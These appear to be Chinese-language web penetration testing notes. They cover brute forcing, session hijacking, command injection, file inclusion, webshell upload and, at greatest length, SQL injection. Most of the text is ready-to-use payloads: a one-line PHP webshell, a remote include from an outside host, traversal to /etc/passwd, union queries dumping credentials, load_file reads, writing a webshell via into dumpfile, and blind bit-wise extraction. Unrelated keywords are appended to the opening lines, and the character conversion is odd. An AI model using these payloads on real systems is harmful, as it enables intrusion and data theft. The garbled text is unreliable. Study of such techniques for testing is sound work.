1、前提:php
漏洞挖掘原則mysql
全部變量linux
全部頭程序員
cookie中的變量web
逐個變量刪除算法
漏洞的本質sql
數據與指令的混淆shell
對用戶輸入信息過濾不嚴判斷失誤,誤將數據當指令數據庫
2、經典漏洞:apache
1、身份認證
經常使用弱口令/基於字典的密碼爆破
鎖定帳號
信息收集
手機號(一般有以手機號爲用戶名的)
密碼錯誤提示信息(用戶名正確,輸入錯誤密碼看返回什麼,再輸入錯誤用戶名和密碼看返回什麼,若是返回信息不一樣則能夠針對一個正確的用戶名爆破)
密碼嗅探
會話sessionID(Cookies)
Xss/cookie importer (跨站獲取cookie)
sessionID in URL (有些網站可能會將sessionID包含在URL中)
嗅探
SessionID 長期不變/永久不變 (網站cookie沒有過時機制)
sessionID 生成算法
sequencer
私有算法
預判下一次登錄時生成的sessionID
登出後返回測試
2、命令執行漏洞
應用程序開發者直接調用操做系統命令,並無對用戶輸入數據進行過濾。那麼用戶能夠直接構造操做系統命令做爲數據發送過去
構造命令時可能會用到的手法:「;,&&,&,||,|」
例如在表單中輸入一個ip地址系統會將ping這個IP的結果返回,那麼後臺頗有多是調用了系統命令ping,此時能夠嘗試在表單中輸入'1.1.1.1;ls',若是系統過濾不嚴則後面的ls也將被執行
3、目錄遍歷/文件包含漏洞(注意:就算apache是用root執行的,可是在對操做系統文件進行讀寫的時候apache仍是會調用一個"www-data"帳號去讀寫)
這兩種漏洞其實差很少,都是能夠讀取/var/www/目錄之外的文件,好比/etc/passwd。
若是硬要細扣字眼的話,目錄遍歷是隻能遍歷主機本地的目錄,文件包含除了能夠包含主機本地的目錄外還能夠包含遠程主機上的文件(此時能夠將遠程主機上的木馬文件包含進來,讓目標主機執行)
注意:1、當URL中包含有‘?變量=XXX’字眼時很是有多是程序經過include將文件XXX包含進來了,此處就能夠測試是否有文件包含漏洞
2、有部分程序會將被包含的文件寫在cookie中,好比'cookie: path=XXX',全部不論是URL仍是Cookie仍是其餘任何地方,只要有變量的地方就都有可能存在文件包含漏洞
本地文件包含漏洞危害:
1)、查看本地文件
2)、任意代碼執行(試想: 每次WEB鏈接server都會將其頭部截取下來存入日誌文件,那麼只須要將惡意代碼寫入頭部那麼日誌文件就會包含有惡意代碼,而後經過文件包含漏洞訪問該日誌文件也就執行了該惡意代碼)
遠程文件包含漏洞:
出現機率少於本地文件包含漏洞,但更容易被利用(能夠將遠端的一個webshell包含進去,主機即執行了該webshell)
經典測試方法
?file=../../../../../../etc/passwd
?page=file:///etc/passwd ====>file://相似於http://,訪問系統文件時使用file,須要注意的是file://後面跟的是絕對路徑
?home=main.cgi =======>/var/www/下面的main.cgi可能包含有一些源碼信息
?page=http://www.a.com/1.php =====>遠程文件包含
編碼繞過字符過濾(有些程序在包含一個文件時可能會在後面自動加後綴,好比將咱們的../../etc/passwd變成../../etc/passwd.php)
此時可使用'%00'來繞過(%00是null的url編碼,%00後面的將再也不執行)
文件包含字典(kali):
/usr/share/wfuzz/wordlist/Injections
4、文件上傳漏洞
原理:經過web提供的正常上傳服務直接上傳webshell,而後訪問該webshell讓服務器執行它
一句話webshell代碼(具有執行系統命令且輸出結果功能):<?php echo shell exec($_GET['cmd']):?>
上傳該一句話webshell後經過在URL中加入參數讓webshell把這個參數當系統命令去執行,例:
http://172.20.163.44/dvwa/hackable/uploads/44.php?cmd=pwd ====> 44.php爲webshell名字,cmd爲webshell變量名,pwd爲要執行的系統命令
一般web後臺程序會經過各類方式檢測上傳內容(例如檢測擴展名、檢測文件頭等),因此須要對上傳的webshell作相應的修改才能夠成功利用該漏洞
注意:若是上傳的webshell爲一個靜態文件的後綴名時,apache等web程序可能會將其理解爲一個靜態文件,當你訪問它的時候不是傳值給它而是將它打開返回
難點:不知道上傳後的準確目錄;若是上傳後的目錄沒有執行權限就歇菜了
5、SQL注入(只要有一處sql注入漏洞則黑客就有可能利用聯合查詢構造各類sql查詢語句來查詢整個數據庫,甚至能夠利用一些sql內置函數對操做系統進行操縱)
注意:不光表單中可能存在sql注入,只要是有變量的地方都有肯能存在sql注入,例如:cookie、user-agent等
服務器端程序將用戶輸入參數做爲查詢條件,直接拼接SQL語句,並將查詢結果返回給客戶端瀏覽器
用戶登陸判斷程序後臺可能會用到的SQL語句:
select * from users where user='用戶輸入的用戶名' and password='用戶輸入的密碼'
針對這種狀況能夠嘗試的惡意sql語句(最後讓上面這句話變成下面這樣):
select * from users where user='用戶輸入的用戶名' and password='' or '1=1'
檢測sql注入漏洞方式:
1、基於報錯的檢測方法(輸入特殊字符看是否會返回sql語法報錯,若是返回語法報錯,則說明後臺程序將咱們輸入的內容帶入sql語句執行了,也就說明此處存在sql注入漏洞):
例:' " % ()
2、基於布爾的檢測(當構造一個爲真的sql注入語句時正常顯示,構造一個爲假的sql注入語句時顯示錯誤,則說明此處存在sql注入漏洞):
例: 1' and '1'='1 / 1' and '1 (真)
1' and '1'='2 / 1' and '0 (假)
3、基於時間的檢測
例:select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
若是存在sql語句則會等待10秒再返回結果(即將' and (select * from (select(sleep(10)))a)-- 的睡眠sql語句執行了)
4、基於UNION聯合查詢檢測
適用於經過循環直接輸出聯合查詢結果,不然只顯示第一項結果
5、基於堆疊查詢的檢測
用‘;’堆疊多個查詢語句
適用於非select的數據修改、刪除的操做
在已經肯定有sql注入漏洞後要作的事:
1)、查詢數據:
1、探測此處web後臺程序調用了多少列
構造order by 1,2,3,4...語句,by後面的數字逐漸增大,超出調用列範圍後將報錯,利用此方法探測web後臺程序在該sql語句中調用了多少列。例:
select name,passwd from users where id = '' order by 50--# =====>注意:'-- '(--後面要跟一個空格)或'#'都表示註釋符,能夠將後面的內容註釋掉
2、聯合查詢
select name,passwd from users where id = '' union select 1,2-- ====>經過這個能夠調用一些內置函數來獲取更多信息,以及看到name,passwd分別對應的是第幾列
select name,passwd from users where id = '' union select user(),version()-- =====>經過sql內置函數user()、version()能夠分別將數據庫的用戶名和版本號暴出來
經常使用sql內置函數:
顯示DB用戶:user()
顯示DB版本:version()
顯示當前數據庫:database()
全局函數:@@datadir #顯示數據庫路徑
@@hostname #顯示操做系統級別的主機名
@@version #顯示DB版本
@@version_compile_os #顯示操做系統信息
**********若是該web程序是以數據庫的root帳戶登陸數據庫的話能夠作如下操做************
若是是mysql數據庫的話,information_schema這個數據庫中存放了整個mysql數據庫的結構信息,能夠經過查詢該表(查詢該表必須具備數據庫的root權限才能夠)獲得整個數據庫中包含有哪些庫,分別又包含有哪些表,具體須要構造的sql語句以下
select name,passwd from users where id = '' union select table_name,table_schema from information_schema.tables;
也能夠經過構造如下sql語句來查詢每一個庫中總共有幾個表
select name,passwd from users where id = '' union select table_schema,count(*) from information_schema.tables group by table_schema;
也能夠經過構造如下sql語句來查詢具體每一個表中有什麼列(例如查詢'assets'表中的列名)
select name,passwd from users where id = '' union select table_name,column_name from information_schema.columns where table_name='assets';
也能夠經過構造如下sql語句來查詢具體某個表中每一個列的值(查詢log_analysis庫中assets表中id、ip列的值)
select name,passwd from users where id = '' union select id,ip from log_analysis.assets;
假如說已經找到用戶名和密碼的列能夠用如下方法將用戶名和密碼以 user:password 的形式輸出出來(方便查看)
select name,passwd from users where id = '' union select null,concat(user,0x3a,passwd)from log_analysis.assets; ====>0x3a表明':'
**********若是該web程序不是以數據庫的root帳戶登陸數據庫的話能夠作如下操做************
猜解列名(本質仍是暴力破解):
猜解當前表的列名:
select name,passwd from users where id = '' and '要猜解的列名' is not null; ====>若是要該表內存在被猜解列名則返回正常(也可能返回爲空),若是不存在則返回異常(報錯)
猜解當前表的表名:
select name,passwd from users where id = '' and '要猜解的表名.被查詢表中確定有的列' is not null;
猜解當前表的庫名:
select name,passwd from users where id = '' and '要猜解的庫名.當前表名.被查詢表中確定有的列' is not null;
2)、對系統文件進行操做:
1、讀取文件
select name,passwd from users where id = '' union select null,load_file('/etc/passwd'); ====>load_file()函數爲sql內置讀取系統文件函數
2、寫入文件(注意:當指定寫入路徑時不少時候會由於訪問該目錄因權限問題被拒絕,那是由於就算你是用root執行的mysql,可是mysql調用任何對操做系統產生影響的功能時仍是會本身用一個叫"mysql"的帳號去寫入)
select name,passwd from users where id = '' union select null,"文件內容(此處能夠寫一句話木馬代碼)" into dumpfile "1.php";
注意:若是不指定路徑默認傳入/var/lib/mysql/1.php路徑,可是/var/lib/mysql/目錄又不是web目錄,就算把立刻傳上去了也不能經過web運行該目錄下的文件。此時就能夠配合文件包含漏洞來操做,找一個mysql、web
帳戶均可以讀寫的目錄,而後將立刻傳至這個目錄,這樣利用文件包含漏洞就能夠執行該木馬了。在linux具備"drwxrwxrw"權限的最典型目錄是"/tmp "
3、下載數據庫
由於可能讀取的數據庫數據很是多,靠web網頁形式顯示不人性化,因此能夠考慮利用sql注入將查詢到的內容輸出到他服務器上的"/tmp"目錄下,再利用文件包含漏洞將"/tmp"目錄下相應的文件下載下來。
(若是沒有文件包含漏洞,則只能用網頁形式分次查詢了,好比每次查詢1W條,此時若是量特別大能夠寫個爬蟲讓爬蟲自動去查詢並解析敏感數據)
select name,passwd from users where id = '' union select null,null into outfile "/tmp/1.db";
SQL盲注(當程序不會返回數據庫報錯信息時就須要用盲注了):
當程序員隱藏了數據庫內建報錯信息,替換爲通用的錯誤提示,sql注入將沒法依據報錯信息判斷注入語句的執行結果,即盲注。
盲注思路:
1、既然沒有報錯信息那就基於真假進行注入判斷
構造基於真假盲注sql語句:
select name,passwd from users where id = '1' and 1=1; ====>真
select name,passwd from users where id = '1' and 1=2; ====>假
若是經過構造「真」(1' and 1=1)sql語句和只輸入正常數據(‘1’)返回的值相同,則說明存在sql注入(把" ' and 1=1"也執行了)
若是經過構造「假」(1' and 1=2)sql語句和構造「真」(1' and 1=1)sql語句發現返回的值都同樣,則不存在sql注入(web程序將「真」sql語句也當成了「假」說明web程序將惡意構造的" ' 1=1"當成了不可識別因素)
2、基於時間進行盲注檢測
構造基於時間盲注sql語句:
select name,passwd from users where id = '' and (select * from (select(sleep(10)))a)-- ;
若是存在sql語句則會等待10秒再返回結果(即將' and (select * from (select(sleep(10)))a)-- 的睡眠sql語句執行了)
拔高:
若是提交表單後返回的是一個圖片,那該怎樣才能根據返回數據庫裏的敏感數據呢? 二進制推導!!!
例:
輸入一個「真」sql語句返回一個香皂
輸入一個「假」sql語句返回一個蘋果
select imge from users where name = '香皂' and ORD(MID(version(),1,1))&1>0;
ORD(MID(select passwd from user,1,1))&1>0 解釋:
MID():這個函數用來截取字符串,例(MID('abcd',2,4) == 'bcd')
ORD():將字符轉換成ASCII碼再將ASCII碼轉換成8位二進制數,例(ORD(a) == a->65->01000001)
&:取二進制數的第幾位(1表明從右數第一位,2表明從右數第2位,4表明從右數第3位。。。128表明從右數第8位)
經過以上原理可知:返回'香皂'爲1,返回'蘋果'爲0
逐次增大&後面的數便可推導出MID()給出的字符的ASCII碼對應的二進制,逐次增大MID()中後兩位參數便可推導出原始字符串。